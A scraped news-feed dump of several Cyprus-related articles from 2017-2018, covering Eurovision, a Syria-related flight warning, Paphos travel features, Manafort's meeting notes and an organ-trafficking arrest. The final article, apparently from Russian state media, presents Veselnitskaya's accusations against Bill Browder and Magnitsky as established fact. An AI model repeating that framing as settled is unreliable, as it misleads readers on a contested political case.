These include Cyprus’s sizzling entry Fuego with singer Eleni Foureira and the highly unusual song TOY for Israel, which is sung by Netta.

Both are hot favourites to nab the winner’s trophy following tonight’s show, and have been throughout the lead-up to the final.

The UK’s entry is the electrifying SuRie, whose real name is Susanna Marie Cork.

The 29-year-old singer is performing a powerful song called Storm in the competition tonight, but it may not help her chances of winning.

The UK are currently bottom in the bookies’ odds to win the Eurovision Song Competition, but there may still be surprises to come.

So far the excitement has been building up to fever pitch in Lisbon, Portugal this week, as fans and contestants alike have been preparing for the grand finale.

There have already been hints at what to watch out for too – including Finland singer Saara Alto’s firework gun as well as all the couples’ sharing the love on-stage.

Follow our live blog below for updates on the Eurovision Song Contest 2018.

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]]> https://briefnews.eu/eurovision-2018-final-live-results-uk-takes-on-favourites-cyprus-in-song-contest/feed/ 0 Travel safety warning for Cyprus: Statement issued for UK flights amid Syria crisis https://briefnews.eu/travel-safety-warning-for-cyprus-statement-issued-for-uk-flights-amid-syria-crisis/ https://briefnews.eu/travel-safety-warning-for-cyprus-statement-issued-for-uk-flights-amid-syria-crisis/#respond Wed, 11 Apr 2018 12:54:22 +0000 http://briefnews.eu/travel-safety-warning-for-cyprus-statement-issued-for-uk-flights-amid-syria-crisis/

The European Aviation Safety Agency (EASA) has issued a warning for flights flights from the UK to Cyrus amid Syria military action.

After an alleged chemical weapons attack in Douma, near Damascus, President Donald Trump is threatening military action against Syria on Twitter.

Over 500 people in the county were affected by the attack, which saw shocking scenes, with children being among those seriously injured.

The EASA has issued a “rapid alert” warning, stating “due consideration needs to be taken” of cruise missiles strikes.

Approximately 50 flights are schedules to depart from the UK to Cyprus today, including easyJet, Ryanair and British Airways flights.

RAF bomber jets are currently on standby in Cyprus.

Donald Trump tweeted two hours ago a statement that appeared to suggest the president will authorise missiles to launch on Syria.

The 71-year-old wrote: “Russia vows to shoot down any and all missiles fired at Syria. Get ready Russia, because they will be coming, nice and new and “smart!”

“You shouldn’t be partners with a Gas Killing Animal who kills his people and enjoys it!”

He later added: “Our relationship with Russia is worse now than it has ever been, and that includes the Cold War.

“There is no reason for this. Russia needs us to help with their economy, something that would be very easy to do, and we need all nations to work together. Stop the arms race?”

The statement was issued today at 11:55am this morning. It reads: “Due to the possible launch of air strikes into Syria with air-to-ground and / or cruise missiles within the next 72 hours, and the possibility of intermittent disruption of radio navigation equipment.

“Due consideration needs to be taken when planning flight operations in the Eastern Mediterranean / Nicosia FIR area.”

Airlines currently avoid flying over Syrian airspace due to safety fears and aviation warnings.

In 2014, a Malaysian Airlines flight was shot down, killing all 298 passengers and crew member after flying over Ukraine.

Russia denied any involvement despite the missile found to have been taken into Ukraine from the country.

The Foreign and Commonwealth Office (FCO) has yet to update the travel warning for travellers. The latest update came on April 9, regarding travelling through Cyprus from the north.

It warns: “British and other foreign nationals who have entered Cyprus through the north (such as via Ercan airport) are considered by the Government of the Republic of Cyprus to have entered Cyprus through an illegal port of entry.

“The Government of the Republic of Cyprus reserves the right to fine you for illegal entry if you cross into the south, or decline you entry into or exit from the Republic.”

Approximately one million British citizens visit Cyprus every year, with the only current threats warning of terrorism as with other European countries.

The tiny island is popular for holidaymakers who want some winter sun as well as an affordable holiday.

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]]> https://briefnews.eu/travel-safety-warning-for-cyprus-statement-issued-for-uk-flights-amid-syria-crisis/feed/ 0 Discover Cyprus as Britain prepares for MORE snow chaos https://briefnews.eu/discover-cyprus-as-britain-prepares-for-more-snow-chaos/ https://briefnews.eu/discover-cyprus-as-britain-prepares-for-more-snow-chaos/#respond Sat, 24 Mar 2018 01:15:37 +0000 http://briefnews.eu/discover-cyprus-as-britain-prepares-for-more-snow-chaos/

Cyprus holiday 2018GETTY

Cyprus is a great place to escape the harsh British spring

To a family who had been in Cyprus for just half an hour, the comparison seemed a little disappointing.

We had, after all, been expecting some winter sun and a whiff of the exotic from an island that actually lies closer to Turkey (which controls the northern part) than it does to the Greek mainland.

Of course, Nigel (the driver) hadn’t meant that we could look forward to power suits, strikes and synth-pop, but rather that we’d be able to enjoy a simpler way of life, with friendly locals and safe family fun during the half term.

Still, our ideas of adventure came under constant attack from hangovers of historic British rule, and, with branches of Costa Coffee and left-hand drive (not to mention Nigel), we still felt close to home in spite of the four-hour flight.

That quickly changed upon arrival at our home for the week in the Aphrodite Hills resort, a sprawling site in the countryside just outside the town of Paphos.

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Cyprus atmosphereGETTY

Cyprus’ atmosphere is akin to that of a more relaxed Britain

A twisting drive took us past crooked olive and carob trees clinging to the hillside, while oranges and lemons spilled from branches in every courtyard.

Thick rosemary bushes studded with powder blue flowers made everything smell good enough to eat, and we quickly found ourselves a long way from Britain of any era.

We stayed in one of the resort’s villas, situated on the same site as a five-star sister hotel, Aphrodite Hills Hotel by Atlantica, complete with an impressive and newly-renovated PGA national golf course and The Retreat Spa.

Opening the door to a cool white marble residence felt like the start of our own Cypriot story, and catching first sight of the pristine infinity pool overlooking the ocean was a moment to savour (or commit to Instagram).

The presence of a full outdoor kitchen and shower gave a hint as to just how hot it gets here in Summer (40°C is the standard, with more than 300 days of sunshine), and, for the months when the mercury is rising, this set-up would be a dream for family holidays.

The Aphrodite Hills resort also has an impressive selection of kids’ activities, including tennis and soccer academies and even a riding school.

It was the riding that provided a memorable afternoon for us, and while our children loved trotting around on the ponies, it was the area itself that impressed my wife and I.

The school lies in the forest of Lakkos Tou Frangou, 10 minutes from the resort along a rocky road that once connected the towns of Paphos and Limassol.

Aphrodite Hills, in the area of Kouklia, is a short drive from both. Our guide described the difference between the two areas as such: Paphos represents the old Cyprus, with Limassol the younger, cooler cousin.

Paphos, he continued, was little more than a fishing village 20 years ago, something that has certainly changed with building work almost everywhere you look.

That’s not to say it’s lost the old charm – it was last year’s European Capital of Culture, no less – and there’s plenty left to discover without venturing too far.

We poked around the Tombs of the Kings, a huge necropolis carved into the rock that is now a UNESCO World Heritage Site.

PaphosGETTY

Paphos has apparently been very quickly growing as a town

The 4th-century tombs have bags of Indiana Jones-style excitement for visitors and provide an amazing backdrop for an afternoon of adventures, at just €2.50.

Cyprus also claims to be the birthplace of Aphrodite, ancient Greek goddess of love, and, with just a short drive between the two, you can take in both her temple and her “rock”, a sea stack that makes for some dramatic photos.

After a dash of local history and scenery, the only thing left for the full Cypriot experience seemed to be the food, and we went in search of an authentic taverna.

A tip led us to Agora in Paphos, a restaurant tucked above another restaurant, which seems to live in fear of customers leaving hungry.

The amount of food offered was incredible, and, with no menu (the only question was meat or no meat) it’s hard to say exactly what we ate other than to confirm it was utterly delicious and inexpensive.

So while Cyprus has plenty of flashes of home for any visiting Brits, it doesn’t take much effort to find something more authentic and enjoy your own Cypriot adventure.

Top 10 things to do in Cyprus

1 Book a treatment at The Retreat Spa by Atlantica Hotels. The full body massage will leave you perfectly chilled.

2 Horse around. The Aphrodite Hills Riding Club is situated in gorgeous countryside (aphrodite hillsridingclub.com).

3 Visit the Tombs of the Kings. These underground tombs are impressive and extensive enough for an afternoon’s fun.

4 Head to the Temple of Aphrodite. If you can’t get enough of the goddess of love then visit her rock, too.

5 Have a paddle at Coral Bay. Sandy beaches aren’t easy to come by here, but this one close to Paphos is a beauty.

6 For a taste of local history, visit Limassol Castle. According to legend, Richard the Lionheart married Berengaria of Navarre here and crowned her queen of England.

7 Make a splash at Fasouri Watermania. This waterpark is huge and, when the heat hits, it’s buckets of fun (fasouri-watermania.com/en/).

8 Stroll round Limassol Marina. It’s the perfect place for a long, relaxing lunch in the sunshine in one of its restaurants.

9 Check out Paphos Castle. With a bridge over the water and sea views, this picture perfect little fort is fun for families.

10 Drive to the village of Omodos, in the mountains for a taste of “old Cyprus”.

EasyJet (easyjet.com) flies daily from London Gatwick to Paphos. Return economy fares start from £120pp. Junior two-bedroom villas at the Aphrodite Hills resort (aphroditehills.com/Aphrodite-hills, +357 26 828000) are available from €250 (approximately £223) per night. HolidayExtras.com offers car hire at thousands

of holiday destinations, as well as a huge choice of travel extras, including UK and international airport lounges. To book car hire from Paphos Airport, from £78.69 a week (fuel full to full), visit holidayextras.com or call 0800 1313 777.

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]]> https://briefnews.eu/discover-cyprus-as-britain-prepares-for-more-snow-chaos/feed/ 0 Cyprus, a former press secretary, and the RNC: We now know more about Manafort’s Trump Tower notes https://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/ https://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/#respond Sat, 13 Jan 2018 02:46:12 +0000 http://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/ FILE PHOTO: Paul Manafort, former campaign manager for U.S. President Donald Trump arrives for a bond hearing at U.S. District Court in Washington, U.S., November 6, 2017. REUTERS/Joshua RobertsThomson Reuters

  • Notes taken by President Donald Trump’s campaign chairman during a meeting at Trump Tower in June 2016 with a Russian lawyer and Russian lobbyist were described in a transcript released by Congress earlier this week.
  • The notes reference Cyprus, the RNC, and Juleanna Glover — a press secretary for former Vice President Dick Cheney who has worked with the anti-corruption activist Bill Browder.
  • Manafort gave his notes, which he took on his iPhone, to the Senate Intelligence Committee last July.

Contemporaneous notes taken by President Donald Trump’s campaign chairman Paul Manafort at a meeting with a Russian lawyer and lobbyist at Trump Tower during the election reference Cyprus, “active sponsors of RNC,” and “Russian adoptions by American families,” according to an interview transcript released by Congress earlier this week.

Senate Judiciary Committee investigators showed the notes to Glenn Simpson, the cofounder of the opposition research firm Fusion GPS, and asked him whether he recognized any of the terms or phrases Manafort wrote down during the June 9 meeting and later provided to congressional investigators.

The notes mentioned “active sponsors of RNC” and referenced Juleanna Glover, a political strategist and lobbyist who served as Dick Cheney’s press secretary during the Iraq war, according to the transcript. There was also a reference to “133 million,” according to Simpson.

“We understand these are meeting notes,” said Jason Foster, the chief investigative counsel for Senate Judiciary Committee chairman Chuck Grassley.

“Do these phrases about — including Mr. Browder, mean anything to you or relate to any of the research that you conducted or otherwise aware of regarding Mr. Browder?” Foster asked.

Bill Browder, a wealthy American banker, was the target of opposition research conducted by Fusion GPS on behalf of a US law firm representing the Russian holding company Prevezon. Browder had accused Prevezon of being involved in a $ 230 million tax-fraud scheme and laundering the stolen money into New York City real estate.

“I could tell — obviously you know who Bill Browder is,” Simpson told the committee, after being shown the Manafort meeting notes. Simpson had told the committee earlier that his work for Prevezon’s American lawyers was focused “on trying to get William Browder to testify under oath about his role in this case and his activities in Russia.”

“Cyprus Offshore, Bill Browder’s structure, you know, investment — Hermitage Capital, his hedge fund, set up numerous companies in Cyprus to engage in inward investment into Russia,” Simpson said, “which is a common structure, both partially for tax reasons but also to have entities outside of Russia, you know, managing specific investments.”

“I can only tell you I assume that’s what that references,” Simpson added. “I don’t know what the 133 million –“

Foster cut Simpson off.

“Do any of the other entries in here mean anything to you in light of the research you’ve conducted or what you otherwise know about Mr. Browder?” he asked.

Simpson said he could guess:

“So, ‘Value in Cyprus as inter,’ I don’t know what that means,” Simpson said. “‘Illici,’ I don’t know what that means ‘Active sponsors of RNC,’ I don’t know what that means. ‘Browder hired Joanna Glover’ is a mistaken reference to Juleanna Glover, who was Dick Cheney’s press secretary during the Iraq war and associated with another foreign policy controversy. ‘Russian adoptions by American families’ I assume is a reference to the adoption issue.”

Simpson added that “a couple of items” in the notes referenced things his firm had worked on, including Cyprus and Bill Browder’s financial ties to the country.

Glover confirmed on Friday that she served as the Ashcroft Group’s lead lobbyist pushing for the Magnitsky Act’s passage between 2011 and 2012, and had worked with Browder in that capacity.

It is not clear why the “RNC” — possibly a reference to the Republican National Committee — was brought up during the meeting. Manafort’s spokesman Jason Maloni declined to comment.

Donald Trump Jr., who was also at the meeting, said in a statement last summer that the Russian lawyer who had promised the campaign dirt on Hillary Clinton spoke only of Russia’s adoption policy. The policy was altered to bar American families from adopting Russian children in retaliation for the signing of the Magnitsky Act in 2012.

Manafort gave his notes, which he took on his iPhone, to the Senate Intelligence Committee last July when he appeared before the committee to testify. He has since been indicted by special counsel Robert Mueller on charges including money laundering, tax-fraud, and violations of the Foreign Agents Registration Act.

NBC reported last August that the notes made a vague reference to political contributions and the RNC and therefore elevated the significance of the notes for congressional investigators. The references to “133 million,” Glover, and Cyprus — where Manafort himself kept bank accounts during his years working in Ukraine and investing with a Russian oligarch — had not been previously reported.

NOW WATCH: A reporter who met with the former spy behind the Trump-Russia dossier explains why it’s not ‘fake news’

]]> https://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/feed/ 0 Suspected Kosovo organ-trafficker arrested in Cyprus https://briefnews.eu/suspected-kosovo-organ-trafficker-arrested-in-cyprus/ https://briefnews.eu/suspected-kosovo-organ-trafficker-arrested-in-cyprus/#respond Sat, 06 Jan 2018 06:31:30 +0000 http://briefnews.eu/suspected-kosovo-organ-trafficker-arrested-in-cyprus/

A man suspected of trafficking in human organs has been arrested in Cyprus. Israeli national Moshe Harel faces extradition to Kosovo, where he is accused of luring kidney donors from Turkey and the ex-Soviet Union a decade ago.

Harel is accused of promising up to $ 14,500 in payment to donors, with the extracted organs reportedly being sold on to mainly Israeli recipients for as much as $ 120,000. Some donors were reportedly never paid.

Interpol and Russia had issued international arrest warrants for Harel. His extradition is now being requested by the authorities in Kosovo – a province of Serbia that declared independence in 2008, but remains unrecognized by the UN and a number of countries, including Cyprus.

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FILE PHOTO: The Italian Navy ship Borsini in the Sicilian harbour of Palermo, southern Italy, July 20, 2016 © Reuters

“Based on an international arrest warrant the suspect M.H. was arrested a few days ago in Cyprus. He has been a wanted person since 2010,” Baki Kelani, a spokesman for Kosovo police, told Reuters.

Harel is accused of being one of nine people involved in the organ-trafficking ring, run from a clinic in a residential area in Pristina. Their alleged activities were discovered in 2008, when a Turkish man complained of pain at Pristina airport after his kidney was removed.

In 2013, the director of the clinic, Lutfi Dervishi, and his son Arban were sentenced to eight and seven years respectively for their part in the group’s activities. Both men later went into hiding.

Dervishi was captured last year and retried, along with several others involved in the case. The trial is still ongoing. His son and a Turkish doctor, Yusuf Sonmez, are still on the run.  

Kosovo is no stranger to cases of alleged organ harvesting, and local authorities have been particularly sensitive to accusations of the kind, ever since a former UN prosecutor accused the Kosovo Liberation Army (KLA) of harvesting human organs from Serbs captured and killed during and after the 1998-99 conflict. KLA leaders, now influential politicians, denied the charges and called them a ploy to challenge the province’s independence.

An EU-commissioned inquiry led by an American prosecutor concluded in 2014 that “this practice did occur on a very limited scale and that a small number of individuals were killed for the purpose of extracting and trafficking their organs.”

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]]> https://briefnews.eu/suspected-kosovo-organ-trafficker-arrested-in-cyprus/feed/ 0 Paphos: Fall in love with the birthplace of Aphrodite in Cyprus https://briefnews.eu/paphos-fall-in-love-with-the-birthplace-of-aphrodite-in-cyprus/ https://briefnews.eu/paphos-fall-in-love-with-the-birthplace-of-aphrodite-in-cyprus/#respond Sat, 02 Dec 2017 12:27:47 +0000 http://briefnews.eu/paphos-fall-in-love-with-the-birthplace-of-aphrodite-in-cyprus/

The birthplace of Greek goddess of love Aphrodite gifts visitors ancient sites, vineyards and clear-blue sea under 300 days of sunshine a year, together with familiar comforts such as English spoken by all, driving on the left and even an M&S.

Nestling on Cyprus’ south-west coast, it’s where the Troodos mountains meet the sea and is home to avocado and banana plantations.

The city is divided into two neighbourhoods; the stately Ktima with British colonial buildings, schools and museums all sat around the town square and Kato Paphos, which stretches along the harbour and is full of good seafood restaurants, souvenir shops and even a few British pubs.

It is no accident the house of the original party animal Dionysus, the Greek god of wine, can be found near here.

Life on the waterside is guarded by a squat castle.

Originally built as a Byzantine fort, it was taken over by Crusaders in the 13th century, attacked by the Venetians in the 16th century and used as a salt warehouse by the British in the 19th century.

Now it helps stage open-air cultural events. There’s no doubt this mix of mythology, past empires and proud modern Cypriot identity led Paphos to being awarded European capital of culture for this year.

With a fortification design nod to the castle, my hotel, The Elysium, is the perfect resting place and setting off point for all the region has to offer.

Alongside rooms are maisonettes, designed in a traditional Cypriot style with terracotta tiles and very high ceilings.

With beautiful grounds, large pools, spa, six restaurants serving a range of superb international cuisine and the best sommelier on the island in Yiannis Stefanides, The Elysium is the obvious accompaniment to Paphos.

The hotel is also ideally positioned for a beautiful coastal walk to town and sits between two epic world heritage sites: The Tombs Of The Kings and the Paphos Archeological Park.

You can spend a few hours imagining you are Indiana Jones or Lara Croft discovering Hellenistic and Roman structures by the sea and a few more hours coming face to face with third-century Cypriots enjoying local wine in dazzlingly well-preserved mosaics. Each tells a vivid story.

Take a trip to the interior and you can explore today’s winemaking. I visited the hilltop Vasilikon winery with its vast views over vineyards towards the sea on the horizon, and the village-based Kyperounta winery near Mount Olympus.

Both of these excel at using native grape varieties such as mavro, maratheftiko (reds) and xynisteri (white), as well as adding local distinctiveness to classic French varieties by way of the area’s limestone bedrock and hotter climate.

Most tourists cling to the coast, but they are missing out. An hour’s drive inland is the Troodos mountain range, passing fruit orchards and medieval villages as you go.

Omodos is a perfect example with its pretty alleyways and busy market selling such things as figs, honey and glassware.

Restaurants in this area concentrate on nearby produce rather than seafood.

So at 1,200m above sea-level freerange chicken and national lamb dish kleftiko are the menu superstars, with Psilo Dendro restaurant and its famed trout farm being the top pick.

Here you can sit under dappled sunlight and dine on fish plucked straight from mountain stream water.

In 1191, Richard the Lionheart married Berengaria of Navarre on Cyprus and he described the local wine commandaria as the “wine of kings and the king of wines”. And when the island’s annual wine festival follows the motto, “drink wine, it gives you life” you know that when it comes to great people, great food and great wine, Cyprus is the pick of the bunch. 

THE KNOWLEDGE

Elysium Hotel (dialling from the UK: 00 357 2684 4444/elysiumhotel.com) offers five nights from £378 (two sharing), B&B.

Price includes winery tours and three days of car hire.

easyJet (0330 365 5000/easyjet.com) offers return flights from Luton to Paphos from £42.

Paphos tourism: visitpafos.org.cy

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]]> https://briefnews.eu/paphos-fall-in-love-with-the-birthplace-of-aphrodite-in-cyprus/feed/ 0 Magnitsky Act mastermind seeks to stop Cyprus from revealing his offshore assets to Russia https://briefnews.eu/magnitsky-act-mastermind-seeks-to-stop-cyprus-from-revealing-his-offshore-assets-to-russia/ https://briefnews.eu/magnitsky-act-mastermind-seeks-to-stop-cyprus-from-revealing-his-offshore-assets-to-russia/#respond Thu, 16 Nov 2017 05:01:58 +0000 http://briefnews.eu/magnitsky-act-mastermind-seeks-to-stop-cyprus-from-revealing-his-offshore-assets-to-russia/ A group of MEPs have urged Cyprian authorities not to cooperate with Russia on an inquiry against the man behind the Magnitsky Act, William Browder. Now, a Russian lawyer claims that Browder himself arranged this petition to hide data on his operations.

Browder, a US-born British investor and the founder of Hermitage Capital Management, fears that his fraudulent investment schemes involving offshore assets in Cyprus would be revealed to European authorities if Cyprus continues to cooperate with Moscow on its probe against him, Natalya Veselnitskaya, a Russian lawyer who conducted her own investigation into Browder’s operations, told RT. She added that Browder is actively trying to paint the investigation against him as politically motivated.

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William Browder © Drew Angerer

“He [Browder] is afraid of the Russian probe that has conclusive evidence of his financial crimes and proof that his theory of Magnitsky’s death is an absolute fake. That’s why Browder is ready to stage any provocation,” Veselnitskaya said. She went on to say that the investor’s decision to intervene was particularly “influenced by the fact that the entire network of offshore companies that make up his organized criminal group is located on the territory of Cyprus.”

The incident that Veselnitskaya was referring to took place in late October 2017. At that time, 17 members of the European Parliament appealed to Cypriot President Nikos Anastasiades in an open letter, in which they called on him to stop assisting Russia in its investigation against Browder.

The MEPs particularly expressed their concerns over the fact that “the Cypriot government is actively assisting the Russian government in furthering human rights violations through assistance with politically motivated prosecutions, in contravention of its obligations under European conventions,” as reported by the local Cyprus Mail daily. 

Even though the letter carried absolutely no legal weight and could not force Anastasiades to take any measures, the MEPs still sought to exert pressure on the Cypriot authorities by stating that “the conduct of Cyprus in this case will have implications that go far beyond this case.” The letter also explicitly stated that the investigation against Browder was of a “political nature.”

“While every other European country, Interpol and the Council of Europe have deemed the Russian proceedings against Browder to be politically motivated, your country has taken a contrary position, and agreed to provide assistance to a Russian politically-motivated process, clearly in violation of your obligations under the rule of law,” the signatories to the letter said. 

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Lawyer Natalya Veselnitskaya © Evgeny Biyatov

Just weeks before the MEPs sent their letter to the Cypriot president, Browder himself filed a request to the court of Nicosia, asking for an emergency injunction against the transfer of any data concerning his activities in the island country to Russia. According to Veselnitskaya, the letter and the application filed by Browder were “a double gambit by the criminal union between Browder and his lawyers: an attempt to interrupt the course of the investigation and interfere in the judicial process.”

Notably, as many as 12 out of 17 European lawmakers who signed the letter, were mentioned in the so-called “Soros list” – a document prepared for the Open Society European Policy Institute, which itself is part of the Open Society Foundations run by the US investor and hedge fund manager George Soros. The document published on the Internet after the mail server of the Open Society Foundations was hacked in 2016 lists those, whom it calls “reliable allies in the European Parliament.” 

The letter’s signatories who are also “reliable allies” of Soros include socialists Ana Gomes, Pier Antonio Panzeri, and Juan Fernando Lopez Aguilar; member of the European Conservatives and Reformists Group Monica Macovei; liberals Maite Pagazaurtundua Ruiz, Petras Austrevicius and Fredrick Federley; greens Rebecca Harms and Judith Sargentini; and members of the European People’s Party Christofer Fjellner, Lars Adaktusson, and Gunnar Hokmark. Two more signatories to the letter are Anna Fotyga and Sandra Kalniete, former foreign ministers of Poland and Latvia respectively, known for their initiatives to “counteract Russian influence” in Europe.

In mid-October, even before the letter signed by the European lawmakers reached the Cypriot president, the Prosecution Office of Cyprus actually suspended cooperation with Russia on the investigation into the allegations against Browder. In particular, Cypriot authorities banned a Russian delegation from coming to the island in pursuit of the investigative procedures, citing the application filed by Browder, in which he claimed that the Russian investigation was politically motivated.

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© CHROMORANGE / Bilderbox / Global Look Press

The Russian Foreign Ministry suspected the Cypriot authorities’ decision was influenced from abroad. “We have serious doubts regarding the legality of that decision, which was made public before the court issued a decision on Mr Browder’s action, as well as to whether Cyprus took the decision independently,” the ministry said in a statement. 

Browder became known for his role in the adoption of the so-called Magnitsky Act – the 2012 US regulation that imposes sanctions on Russian individuals and companies over alleged violations of human rights. Browder actively lobbied the act in the US and then also encouraged the European countries to follow suit and also imposed sanctions on Russia over alleged human rights violations. 

The investor, however, has a long history of animosity against Russia. In 2013, he was sentenced to nine years in prison in absentia for tax evasion. According to the 2013 court verdict, Browder together with his Russian auditor Sergey Magnitsky failed to pay over 552 million rubles in taxes (about $ 16 million). The businessman was also found guilty of illegally buying shares in the country’s natural gas giant Gazprom. According to the law enforcers, that cost Russia at least 3 billion rubles ($ 100 million).

Magnitsky died in pre-trial custody in 2009 after being detained as part of investigation in Browder’s fraudulent financial schemes in Russia. His death allowed Browder to present the whole case as political persecution and lobby for the adoption of the Magnitsky Act in the US.

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